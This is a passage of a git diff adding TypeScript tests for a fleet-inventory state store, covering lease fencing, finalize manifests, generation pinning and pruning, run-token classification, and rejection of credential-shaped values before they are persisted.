DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }; + db.hideBatchResults = true; + await lease.commitChunk(input); + return lease.commitChunk({ + ...input, + rows: [ + stagedRow('registration', 0, { scriptName: 'other-script' }), + ...DEFAULT_ROWS.slice(1), + ], + }); + }), + ); + expect(error.message).toBe( + `fleet inventory run '${OPERATION_ID}' staged rows diverge from the persisted generation`, + ); + }); + + it('validates the manifest inside the finalize batch', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const generation = await seedGeneration(store); + expect(generation).toBe(1); + const ref = await store.latestFinalizedGeneration(); + expect(ref).toMatchObject({ + generation: 1, + operationId: OPERATION_ID, + factCount: DEFAULT_FACTS.length, + }); + expect(ref?.rowManifest).toEqual(countsOf(DEFAULT_ROWS)); + expect(ref?.finalizedAtMs).toBeGreaterThan(0); + const readback = await store.readFinalizedGeneration(1); + expect(readback.rows).toEqual(DEFAULT_ROWS_READ_ORDER); + expect(readback.facts).toEqual(DEFAULT_FACTS); + }); + + it('leaves the run staging when the finalize manifest mismatches', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const error = await refusal( + store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + // The persisted record claims more findings than the rows it staged, so + // the in-SQL count guard is the control under test. + const overstated = committed(started, DEFAULT_ROWS, DEFAULT_FACTS); + const record = await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + runRecord: { + ...overstated, + progress: { + ...overstated.progress, + stagedCounts: { ...overstated.progress.stagedCounts, finding: 9 }, + }, + }, + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + return lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: record.progress.revision, + manifest: record.progress.stagedCounts, + factCount: record.progress.factCount, + }); + }), + ); + expect(error.message).toBe( + `fleet inventory run '${OPERATION_ID}' does not match its finalize manifest`, + ); + const run = await newStore(db).readRunByOperation(OPERATION_ID); + expect(run?.state).toBe('staging'); + expect(await newStore(db).latestFinalizedGeneration()).toBeUndefined(); + }); + + it('converges by readback when finalize replays on a finalized run', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const refs = await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const record = await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + const input = { + operationId: OPERATION_ID, + expectedRevision: record.progress.revision, + manifest: record.progress.stagedCounts, + factCount: record.progress.factCount, + }; + db.hideBatchResults = true; + const first = await lease.finalizeRun(input); + const replay = await lease.finalizeRun(input); + return { first, replay }; + }); + expect(refs.replay).toEqual(refs.first); + expect( + db.sqlite + .prepare( + 'SELECT latest_finalized_generation AS latest, active_operation_id AS active FROM anchorage_fleet_inventory_heads', + ) + .all(), + ).toEqual([{ latest: 1, active: null }]); + }); + + it('refuses staging bytes from a fenced-out writer and keeps the payload clean', async () => { + const db = new MemoryD1(); + const store = newStore(db); + // The lease escapes its callback, so its token is no longer live: exactly + // the stale-lease writer the guarded inserts must fence out. + const fenced = await store.withAccountInventoryLease(async (lease) => { + await start(lease); + return lease; + }); + const poisoned = [ + stagedRow('registration', 0, { scriptName: 'poisoned' }), + ...DEFAULT_ROWS.slice(1), + ]; + const started = await store.readRunByOperation(OPERATION_ID); + if (!started) throw new Error('run missing'); + const error = await refusal( + fenced.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + runRecord: committed(started, poisoned, DEFAULT_FACTS), + rows: poisoned, + facts: DEFAULT_FACTS, + }), + ); + expect(error.message).toBe( + `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`, + ); + expect( + db.sqlite + .prepare( + `SELECT + (SELECT COUNT(*) FROM anchorage_fleet_inventory_rows) AS rows, + (SELECT COUNT(*) FROM anchorage_fleet_inventory_deployment_facts) AS facts`, + ) + .all(), + ).toEqual([{ rows: 0, facts: 0 }]); + expect( + (await store.readRunByOperation(OPERATION_ID))?.progress.revision, + ).toBe(started.progress.revision); + + const generation = await store.withAccountInventoryLease(async (lease) => { + const record = await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + const ref = await lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: record.progress.revision, + manifest: record.progress.stagedCounts, + factCount: record.progress.factCount, + }); + return ref.generation; + }); + expect((await store.readFinalizedGeneration(generation)).rows).toEqual( + DEFAULT_ROWS_READ_ORDER, + ); + }); + + it('refuses a finalize whose caller manifest disagrees with the persisted run record', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const error = await refusal( + store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const record = await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + return lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: record.progress.revision, + manifest: { ...record.progress.stagedCounts, finding: 0 }, + factCount: record.progress.factCount, + }); + }), + ); + expect(error.message).toBe( + `fleet inventory run '${OPERATION_ID}' finalize manifest disagrees with the persisted run record`, + ); + expect((await store.readRunByOperation(OPERATION_ID))?.state).toBe( + 'staging', + ); + expect(await store.latestFinalizedGeneration()).toBeUndefined(); + }); + + it('does not re-claim the head or burn a generation when a start replays for a completed run', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store, OPERATION_ID); + const finalizedReplay = await store.withAccountInventoryLease((lease) => + start(lease, OPERATION_ID), + ); + expect(finalizedReplay.state).toBe('finalized'); + expect(finalizedReplay.progress.generation).toBe(1); + + const failed = await store.withAccountInventoryLease(async (lease) => { + const record = await start(lease, SECOND_OPERATION_ID); + await lease.failRun({ + operationId: SECOND_OPERATION_ID, + expectedRevision: record.progress.revision, + reason: 'operator-abandoned', + }); + return record; + }); + expect(failed.progress.generation).toBe(2); + const failedReplay = await store.withAccountInventoryLease((lease) => + start(lease, SECOND_OPERATION_ID), + ); + expect(failedReplay.state).toBe('failed'); + expect( + db.sqlite + .prepare( + `SELECT active_operation_id AS active, next_generation AS next + FROM anchorage_fleet_inventory_heads`, + ) + .all(), + ).toEqual([{ active: null, next: 3 }]); + + const fresh = await store.withAccountInventoryLease((lease) => + start(lease, THIRD_OPERATION_ID), + ); + expect(fresh.progress.generation).toBe(3); + }); + + it('releases the head when a run fails', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + await lease.failRun({ + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + reason: 'operator-abandoned', + }); + }); + expect((await store.readRunByOperation(OPERATION_ID))?.state).toBe( + 'failed', + ); + expect( + db.sqlite + .prepare( + 'SELECT active_operation_id AS active FROM anchorage_fleet_inventory_heads', + ) + .all(), + ).toEqual([{ active: null }]); + const next = await store.withAccountInventoryLease((lease) => + start(lease, SECOND_OPERATION_ID), + ); + expect(next.progress.generation).toBe(2); + }); + + it('refuses to pin a generation that is not finalized', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease((lease) => start(lease)); + const error = await refusal( + store.pinGeneration({ generation: 1, pinnedBy: 'audit' }), + ); + expect(error.message).toBe('fleet inventory generation 1 is not finalized'); + expect( + db.sqlite + .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_pins') + .all(), + ).toEqual([{ count: 0 }]); + }); + + it('refuses to read an unpinned non-latest generation', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store, OPERATION_ID); + await seedGeneration( + store, + SECOND_OPERATION_ID, + [stagedRow('meta', 0, { stage: 'finalize' })], + [], + ); + const error = await refusal(store.readFinalizedGeneration(1)); + expect(error.message).toBe( + 'fleet inventory generation 1 requires a pin before it can be read', + ); + await store.pinGeneration({ generation: 1, pinnedBy: 'audit' }); + expect((await store.readFinalizedGeneration(1)).rows).toEqual( + DEFAULT_ROWS_READ_ORDER, + ); + await store.releasePin({ generation: 1, pinnedBy: 'audit' }); + expect((await refusal(store.readFinalizedGeneration(1))).message).toBe( + 'fleet inventory generation 1 requires a pin before it can be read', + ); + }); + + it('validates the prune limit', async () => { + const db = new MemoryD1(); + const store = newStore(db); + for (const limit of [0, 1_001, 1.5]) { + expect( + (await refusal(store.pruneInventoryGenerations({ limit }))).message, + ).toBe('limit must be an integer from 1 to 1000'); + } + await expect( + store.pruneInventoryGenerations({ limit: 1_000 }), + ).resolves.toEqual({ deleted: 0 }); + }); + + it('protects the latest and pinned generations from pruning', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store, OPERATION_ID); + await seedGeneration( + store, + SECOND_OPERATION_ID, + [stagedRow('meta', 0, { stage: 'finalize' })], + [], + ); + await seedGeneration( + store, + THIRD_OPERATION_ID, + [stagedRow('meta', 0, { stage: 'finalize' })], + [], + ); + await store.pinGeneration({ generation: 1, pinnedBy: 'audit' }); + expect(await store.pruneInventoryGenerations({ limit: 10 })).toEqual({ + deleted: 1, + }); + expect( + db.sqlite + .prepare( + 'SELECT generation FROM anchorage_fleet_inventory_runs ORDER BY generation', + ) + .all() + .map((row) => Number(row.generation)), + ).toEqual([1, 3]); + expect((await store.readFinalizedGeneration(1)).rows).toEqual( + DEFAULT_ROWS_READ_ORDER, + ); + await store.releasePin({ generation: 1, pinnedBy: 'audit' }); + expect(await store.pruneInventoryGenerations({ limit: 10 })).toEqual({ + deleted: 1, + }); + expect( + db.sqlite + .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_rows') + .all(), + ).toEqual([{ count: 1 }]); + }); + + it('refuses a store pin or prune wrapper called inside an open lease', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + const errors = await store.withAccountInventoryLease(async () => [ + await refusal(store.pinGeneration({ generation: 1, pinnedBy: 'audit' })), + await refusal(store.pruneInventoryGenerations({ limit: 1 })), + ]); + for (const error of errors) { + expect(error.message).toBe( + "fleet inventory for account 'account-primary' is already being modified", + ); + } + }); + + it('leaves a foreign account inventory untouchable', async () => { + const db = new MemoryD1(); + const primary = newStore(db); + const foreign = newStore(db, 'account-foreign'); + await seedGeneration(primary); + expect(await foreign.latestFinalizedGeneration()).toBeUndefined(); + expect(await foreign.readRunByOperation(OPERATION_ID)).toBeUndefined(); + expect((await refusal(foreign.readFinalizedGeneration(1))).message).toBe( + 'fleet inventory generation 1 requires a pin before it can be read', + ); + expect(await foreign.pruneInventoryGenerations({ limit: 10 })).toEqual({ + deleted: 0, + }); + expect((await primary.readFinalizedGeneration(1)).rows).toEqual( + DEFAULT_ROWS_READ_ORDER, + ); + }); + + it('accepts a base64-shaped resumption cursor and rejects a credential-shaped one', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const cursor = 'AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8g'; + const record = await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + return lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS, { + step: 'ordinary-scripts', + cursor, + }), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + }); + expect(record.progress.stage).toEqual({ step: 'ordinary-scripts', cursor }); + const persisted = db.sqlite + .prepare('SELECT run_record FROM anchorage_fleet_inventory_runs') + .all() + .map((row) => String(row.run_record)); + expect(persisted[0]).toContain(cursor); + const staged = db.sqlite + .prepare( + `SELECT payload FROM anchorage_fleet_inventory_rows + UNION ALL + SELECT payload FROM anchorage_fleet_inventory_deployment_facts`, + ) + .all() + .map((row) => String(row.payload)); + for (const payload of staged) expect(payload).not.toContain(cursor); + const error = await refusal( + store.withAccountInventoryLease((lease) => + lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: record.progress.revision, + runRecord: committed(record, DEFAULT_ROWS, DEFAULT_FACTS, { + step: 'ordinary-scripts', + cursor: 'Bearer eyJhbGciOiJIUzI1NiJ9', + }), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }), + ), + ); + expect(error).toBeInstanceOf(InventoryFindingValueError); + }); +}); diff --git a/packages/fleet-control/test/fleet-inventory-state.test.ts b/packages/fleet-control/test/fleet-inventory-state.test.ts new file mode 100644 index 00000000..f2f61637 --- /dev/null +++ b/packages/fleet-control/test/fleet-inventory-state.test.ts @@ -0,0 +1,519 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { + assertInventoryFindingValue, + assertNoCredentialInInventoryText, + canonicalFleetInventoryRunOptions, + classifyFleetInventoryRunToken, + emptyFleetInventoryRowCounts, + type FleetInventoryRunOptions, + type FleetInventoryRunRecord, + FleetInventoryRunTokenError, + FleetInventoryRunTokenFutureError, + FleetInventoryRunTokenOperationError, + type FleetInventoryStage, + FleetInventoryStateError, + fleetInventoryGenerationRefFromUnknown, + fleetInventoryOptionsDigest, + fleetInventoryRunRecordFromUnknown, + fleetInventoryStagedFactFromUnknown, + fleetInventoryStagedRowFromUnknown, + fleetInventoryStageFromUnknown, + InventoryFindingValueError, + initialFleetInventoryStage, + isInventoryKeyNameShape, + nextStage, + parseFleetInventoryRunToken, +} from '../src/fleet-inventory-state.js'; + +const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; + +const CALLER_OPTIONS = { + hostRoutingKvId: 'kv-host-routing', + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', +} as const; + +function options( + overrides: Partial = {}, +): FleetInventoryRunOptions { + return { ...canonicalFleetInventoryRunOptions(CALLER_OPTIONS), ...overrides }; +} + +function runRecord( + overrides: Partial = {}, +): FleetInventoryRunRecord { + const runOptions = overrides.options ?? options(); + return { + version: 1, + operationId: OPERATION_ID, + optionsDigest: fleetInventoryOptionsDigest(runOptions), + options: runOptions, + state: 'staging', + progress: { + stage: { step: 'host-kv-keys' }, + generation: 3, + revision: 4, + stagedCounts: emptyFleetInventoryRowCounts(), + factCount: 0, + providerRequests: 7, + }, + updatedAt: '2026-08-29T00:00:00.000Z', + ...overrides, + }; +} + +function roundTrips(stages: readonly FleetInventoryStage[]): void { + for (const stage of stages) { + expect(fleetInventoryStageFromUnknown(structuredClone(stage))).toEqual( + stage, + ); + } +} + +describe('fleet inventory state', () => { + it('round-trips the host KV, dispatch, and registration stage variants', () => { + roundTrips([ + { step: 'host-kv-keys' }, + { step: 'host-kv-keys', cursor: 'kv-cursor' }, + { step: 'host-kv-values', keyOrdinal: 12 }, + { step: 'dispatch-pages', pageOrdinal: 0 }, + { step: 'dispatch-pages', cursor: 'page-2', pageOrdinal: 1 }, + { step: 'registration-checks', registrationOrdinal: 4 }, + { step: 'registration-postprocess' }, + ]); + expect(() => + fleetInventoryStageFromUnknown({ step: 'host-kv-values' }), + ).toThrow(FleetInventoryStateError); + }); + + it('round-trips the custom-domain and zone stage variants', () => { + roundTrips([ + { step: 'custom-domains' }, + { step: 'zone-authority' }, + { step: 'zone-routes', zoneOrdinal: 0 }, + { step: 'zone-routes', zoneOrdinal: 2 }, + ]); + expect(() => + fleetInventoryStageFromUnknown({ step: 'zone-routes', zoneOrdinal: -1 }), + ).toThrow(FleetInventoryStateError); + }); + + it('round-trips the ordinary-script and route-claim stage variants', () => { + roundTrips([ + { step: 'ordinary-scripts' }, + { step: 'ordinary-scripts', cursor: 'script-cursor' }, + { step: 'ordinary-script-detail', scriptOrdinal: 9 }, + { step: 'route-claims' }, + ]); + expect(() => + fleetInventoryStageFromUnknown({ + step: 'ordinary-scripts', + cursor: 'authorization-token', + }), + ).toThrow(InventoryFindingValueError); + }); + + it('round-trips the D1, Durable Object, R2, and finalize stage variants', () => { + roundTrips([ + { step: 'd1-databases' }, + { step: 'do-namespaces' }, + { step: 'r2-buckets', jurisdictionOrdinal: 0 }, + { step: 'r2-buckets', jurisdictionOrdinal: 2, startAfter: 'bucket-42' }, + { step: 'finalize' }, + ]); + expect(() => + fleetInventoryStageFromUnknown({ + step: 'r2-buckets', + jurisdictionOrdinal: 3, + }), + ).toThrow(FleetInventoryStateError); + }); + + it('round-trips a persisted run record', () => { + const record = runRecord({ + progress: { + stage: { step: 'r2-buckets', jurisdictionOrdinal: 1 }, + generation: 2, + revision: 11, + stagedCounts: { ...emptyFleetInventoryRowCounts(), finding: 3 }, + factCount: 5, + lastPageDigest: 'a'.repeat(64), + providerRequests: 41, + }, + }); + expect(fleetInventoryRunRecordFromUnknown(structuredClone(record))).toEqual( + record, + ); + }); + + it('refuses a run record with an unexpected or missing key', () => { + expect(() => + fleetInventoryRunRecordFromUnknown({ ...runRecord(), extra: 1 }), + ).toThrow(FleetInventoryStateError); + const { updatedAt: _updatedAt, ...missing } = runRecord(); + expect(() => fleetInventoryRunRecordFromUnknown(missing)).toThrow( + FleetInventoryStateError, + ); + expect(() => + fleetInventoryRunRecordFromUnknown({ + ...runRecord(), + optionsDigest: 'b'.repeat(64), + }), + ).toThrow(FleetInventoryStateError); + }); + + it('round-trips a finalized generation reference', () => { + const ref = { + generation: 7, + operationId: OPERATION_ID, + finalizedAtMs: 1_788_000_000_000, + rowManifest: { ...emptyFleetInventoryRowCounts(), deployment: 2 }, + factCount: 6, + }; + expect( + fleetInventoryGenerationRefFromUnknown(structuredClone(ref)), + ).toEqual(ref); + expect(() => + fleetInventoryGenerationRefFromUnknown({ ...ref, generation: 0 }), + ).toThrow(FleetInventoryStateError); + }); + + it('round-trips staged rows and facts with exact keys', () => { + const row = { + kind: 'finding' as const, + ordinal: 3, + payload: { detail: "registered script 'edge' could not be inspected" }, + }; + const fact = { + deploymentOrdinal: 1, + factKind: 'secret-name' as const, + factOrdinal: 0, + payload: { name: 'ANCHORAGE_TOKEN_NAME' }, + }; + expect(fleetInventoryStagedRowFromUnknown(structuredClone(row))).toEqual( + row, + ); + expect(fleetInventoryStagedFactFromUnknown(structuredClone(fact))).toEqual( + fact, + ); + expect(() => + fleetInventoryStagedRowFromUnknown({ ...row, extra: true }), + ).toThrow(FleetInventoryStateError); + expect(() => + fleetInventoryStagedFactFromUnknown({ + deploymentOrdinal: 1, + factKind: 'secret-name', + payload: {}, + }), + ).toThrow(FleetInventoryStateError); + }); + + it('round-trips a bounded run token', () => { + const token = { + version: 1 as const, + operationId: OPERATION_ID, + revision: 2, + }; + expect(parseFleetInventoryRunToken(structuredClone(token))).toEqual(token); + expect(() => + parseFleetInventoryRunToken({ ...token, accountId: 'account' }), + ).toThrow(FleetInventoryRunTokenError); + expect(() => + parseFleetInventoryRunToken({ ...token, operationId: 'not-a-uuid' }), + ).toThrow(FleetInventoryRunTokenError); + }); + + it('classifies a token generic, operation, future, then stale', () => { + const record = runRecord(); + expect(() => + classifyFleetInventoryRunToken( + { version: 2, operationId: OPERATION_ID, revision: 4 } as never, + record, + ), + ).toThrow(FleetInventoryRunTokenError); + expect(() => + classifyFleetInventoryRunToken( + { version: 1, operationId: OPERATION_ID, revision: 4 }, + undefined, + ), + ).toThrow(FleetInventoryRunTokenOperationError); + expect(() => + classifyFleetInventoryRunToken( + { version: 1, operationId: OPERATION_ID, revision: 5 }, + record, + ), + ).toThrow(FleetInventoryRunTokenFutureError); + expect( + classifyFleetInventoryRunToken( + { version: 1, operationId: OPERATION_ID, revision: 4 }, + record, + ), + ).toBe('current'); + expect( + classifyFleetInventoryRunToken( + { version: 1, operationId: OPERATION_ID, revision: 3 }, + record, + ), + ).toBe('stale'); + }); + + it('refuses a run record above the record byte bound', () => { + expect(() => + fleetInventoryRunRecordFromUnknown({ + ...runRecord(), + filler: 'x'.repeat(200_000), + }), + ).toThrow(FleetInventoryStateError); + }); + + it('refuses an over-long string and an over-deep or over-wide payload', () => { + expect(() => + fleetInventoryStageFromUnknown({ + step: 'host-kv-keys', + cursor: 'c'.repeat(5_000), + }), + ).toThrow(FleetInventoryStateError); + let deep: Record = { leaf: 'value' }; + for (let depth = 0; depth < 70; depth += 1) deep = { nested: deep }; + expect(() => + fleetInventoryStagedRowFromUnknown({ + kind: 'meta', + ordinal: 0, + payload: deep, + }), + ).toThrow(FleetInventoryStateError); + const wide: Record = {}; + for (let index = 0; index < 9_000; index += 1) wide[`k${index}`] = index; + expect(() => + fleetInventoryStagedRowFromUnknown({ + kind: 'meta', + ordinal: 0, + payload: wide, + }), + ).toThrow(FleetInventoryStateError); + }); + + it('refuses a staged row payload above the payload byte bound', () => { + expect(() => + fleetInventoryStagedRowFromUnknown({ + kind: 'meta', + ordinal: 0, + payload: { blob: 'y'.repeat(20_000) }, + }), + ).toThrow(FleetInventoryStateError); + }); + + it('canonicalizes options and resolves both defaults at start', () => { + expect(canonicalFleetInventoryRunOptions(CALLER_OPTIONS)).toEqual({ + hostRoutingKvId: 'kv-host-routing', + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', + includeDispatchNamespace: true, + includeR2Buckets: false, + }); + expect( + canonicalFleetInventoryRunOptions({ + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', + }), + ).toEqual({ + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', + includeDispatchNamespace: false, + includeR2Buckets: false, + }); + expect(() => + canonicalFleetInventoryRunOptions({ + databaseNamePrefix: '', + scriptNamePrefix: 'anchorage', + }), + ).toThrow( + 'databaseNamePrefix and scriptNamePrefix are required for fleet inventory', + ); + }); + + it('canonicalizes an empty host-routing KV id to absent', () => { + const canonical = canonicalFleetInventoryRunOptions({ + hostRoutingKvId: '', + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', + }); + expect(canonical).toEqual({ + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', + includeDispatchNamespace: false, + includeR2Buckets: false, + }); + expect(Object.hasOwn(canonical, 'hostRoutingKvId')).toBe(false); + expect(initialFleetInventoryStage(canonical)).toEqual({ + step: 'custom-domains', + }); + }); + + it('keeps the options digest stable under caller key reorder', () => { + const forward = canonicalFleetInventoryRunOptions({ + hostRoutingKvId: 'kv-host-routing', + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', + includeR2Buckets: true, + }); + const reordered = canonicalFleetInventoryRunOptions({ + includeR2Buckets: true, + scriptNamePrefix: 'anchorage', + databaseNamePrefix: 'anchorage-db', + hostRoutingKvId: 'kv-host-routing', + }); + expect(fleetInventoryOptionsDigest(reordered)).toBe( + fleetInventoryOptionsDigest(forward), + ); + }); + + it('changes the options digest on any option change', () => { + const base = fleetInventoryOptionsDigest(options()); + const digests = [ + base, + fleetInventoryOptionsDigest(options({ hostRoutingKvId: 'kv-other' })), + fleetInventoryOptionsDigest(options({ databaseNamePrefix: 'other-db' })), + fleetInventoryOptionsDigest(options({ scriptNamePrefix: 'other' })), + fleetInventoryOptionsDigest(options({ includeDispatchNamespace: false })), + fleetInventoryOptionsDigest(options({ includeR2Buckets: true })), + ]; + expect(new Set(digests).size).toBe(digests.length); + }); + + it('refuses a row kind outside the staged-row vocabulary', () => { + expect(() => + fleetInventoryStagedRowFromUnknown({ + kind: 'secret-value', + ordinal: 0, + payload: {}, + }), + ).toThrow(FleetInventoryStateError); + }); + + it('refuses a fact kind outside the deployment-fact vocabulary', () => { + expect(() => + fleetInventoryStagedFactFromUnknown({ + deploymentOrdinal: 0, + factKind: 'secret-value', + factOrdinal: 0, + payload: {}, + }), + ).toThrow(FleetInventoryStateError); + }); + + it('skips every host-routing stage when no KV id is configured', () => { + const withoutKv = canonicalFleetInventoryRunOptions({ + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', + }); + const counts = { ...emptyFleetInventoryRowCounts(), registration: 4 }; + expect(initialFleetInventoryStage(withoutKv)).toEqual({ + step: 'custom-domains', + }); + const visited: string[] = []; + let stage = initialFleetInventoryStage(withoutKv); + while (stage.step !== 'finalize') { + visited.push(stage.step); + stage = nextStage(stage, withoutKv, counts); + } + expect(visited).not.toContain('host-kv-keys'); + expect(visited).not.toContain('host-kv-values'); + expect(visited).not.toContain('dispatch-pages'); + expect(visited).not.toContain('registration-checks'); + expect(visited).not.toContain('registration-postprocess'); + }); + + it('keeps the registration-postprocess stage when includeDispatchNamespace is false', () => { + const attestationOff = options({ includeDispatchNamespace: false }); + const counts = { ...emptyFleetInventoryRowCounts(), registration: 1 }; + expect( + nextStage( + { step: 'registration-checks', registrationOrdinal: 0 }, + attestationOff, + counts, + ), + ).toEqual({ step: 'registration-postprocess' }); + expect(attestationOff.includeDispatchNamespace).toBe(false); + }); + + it('skips the R2 stage when includeR2Buckets is false', () => { + const counts = emptyFleetInventoryRowCounts(); + expect(nextStage({ step: 'do-namespaces' }, options(), counts)).toEqual({ + step: 'finalize', + }); + expect( + nextStage( + { step: 'do-namespaces' }, + options({ includeR2Buckets: true }), + counts, + ), + ).toEqual({ step: 'r2-buckets', jurisdictionOrdinal: 0 }); + }); + + it('rejects over-length, whitespace, and credential-shaped finding values', () => { + for (const value of [ + 'a'.repeat(513), + 'edge worker\nAuthorization: Bearer', + 'route pattern with space', + 'Authorization', + 'x-auth-key', + 'API_TOKEN=abc', + 'bearer-of-secrets', + ]) { + expect(() => assertInventoryFindingValue(value, 'detail')).toThrow( + InventoryFindingValueError, + ); + } + expect(() => + assertInventoryFindingValue('a'.repeat(513), 'detail'), + ).toThrow("inventory finding value for 'detail' is not durable-safe"); + }); + + it('accepts printable inventory values and falls back for a hostile KV key', () => { + const idnHostname = new URL('https://xn--bcher-kva.example').hostname; + expect(() => + assertInventoryFindingValue(idnHostname, 'routeHostname'), + ).not.toThrow(); + for (const key of ['tenant!prod%v+1=~x', 'tenant.example.test']) { + expect(() => assertInventoryFindingValue(key, 'keyName')).not.toThrow(); + expect(isInventoryKeyNameShape(key)).toBe(true); + } + const hostile = 'tenant\u0000prod'; + expect(() => + assertNoCredentialInInventoryText(hostile, 'keyName'), + ).not.toThrow(); + expect(isInventoryKeyNameShape(hostile)).toBe(false); + }); + + it('routes base64-shaped KV keys to the fallback and still refuses unsafe ones', () => { + expect(isInventoryKeyNameShape('QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo')).toBe( + false, + ); + expect(isInventoryKeyNameShape('tenant-production.example.test')).toBe( + true, + ); + expect( + isInventoryKeyNameShape('__anchorage_script__:anchorage-tenant-prod'), + ).toBe(true); + expect(() => + assertNoCredentialInInventoryText('k'.repeat(513), 'keyName'), + ).toThrow(InventoryFindingValueError); + expect(() => + assertNoCredentialInInventoryText('bearer-eyJhbGciOi', 'keyName'), + ).toThrow(InventoryFindingValueError); + }); + + it('accepts long dotless script names and dispatch namespaces', () => { + for (const value of [ + 'my-long-script-name-12345678901234', + 'anchorage-dispatch-namespace-production-primary', + ]) { + expect(() => + assertInventoryFindingValue(value, 'scriptName'), + ).not.toThrow(); + } + }); +}); diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index 60547119..1667b83d 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -96,6 +96,8 @@ interface BoundedDecommissionProbe { }>; } +const INVENTORY_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174200'; + function harnessOptions() { return { root: ROOT, @@ -1291,4 +1293,235 @@ describe.sequential('D1FleetStateStore Wrangler harness', { ], }); }); + + it('applies the inventory start batch atomically under concurrent stores', async () => { + const result = await probe<{ + started: number; + rejected: number; + head: { + activeOperationId: string | null; + latestFinalizedGeneration: number | null; + nextGeneration: number; + }; + runs: { + operationId: string; + generation: number; + digestMatches: boolean; + finalized: boolean; + }[]; + generation: number; + }>('inventory-start-atomicity'); + + expect(result.started).toBe(1); + expect(result.rejected).toBe(15); + expect(result.head).toEqual({ + activeOperationId: INVENTORY_OPERATION_ID, + latestFinalizedGeneration: null, + nextGeneration: 2, + }); + expect(result.runs).toEqual([ + { + operationId: INVENTORY_OPERATION_ID, + generation: 1, + digestMatches: true, + finalized: false, + }, + ]); + expect(result.generation).toBe(1); + }); + + it('admits one commit writer and converges the rest under concurrent batches', async () => { + const result = await probe<{ + committed: number; + converged: number; + conflicts: number; + corrupt: number; + winnerIsWriter: boolean; + lostResponseReplay: string; + revision: number; + staleReplay: string; + rowCounts: { kind: string; count: number }[]; + }>('inventory-commit-concurrency'); + + expect(result).toMatchObject({ + committed: 1, + converged: 0, + conflicts: 15, + corrupt: 0, + winnerIsWriter: true, + lostResponseReplay: 'converged', + revision: 2, + staleReplay: 'conflict', + }); + // The guarded staging inserts fence every loser out, so only the winner's + // own meta ordinal and the later trailing chunk's row exist. + expect(result.rowCounts).toEqual([ + { kind: 'deployment', count: 1 }, + { kind: 'finding', count: 1 }, + { kind: 'meta', count: 2 }, + { kind: 'registration', count: 1 }, + ]); + }); + + it('converges a lost finalize response through the run and head readback', async () => { + const result = await probe<{ + first: { generation: number; factCount: number; finalizedAtMs: number }; + replayed: { generation: number }; + identical: boolean; + head: { + activeOperationId: string | null; + latestFinalizedGeneration: number | null; + }; + }>('inventory-finalize-convergence'); + + expect(result.identical).toBe(true); + expect(result.first.generation).toBe(1); + expect(result.first.factCount).toBe(1); + expect(result.first.finalizedAtMs).toBeGreaterThan(0); + expect(result.head).toEqual({ + activeOperationId: null, + latestFinalizedGeneration: 1, + }); + }); + + it('reads back a finalized generation with its manifest and ordinals', async () => { + const result = await probe<{ + ref: { + generation: number; + rowManifest: Record; + factCount: number; + }; + latestMatches: boolean; + rowOrdinals: string[]; + factOrdinals: 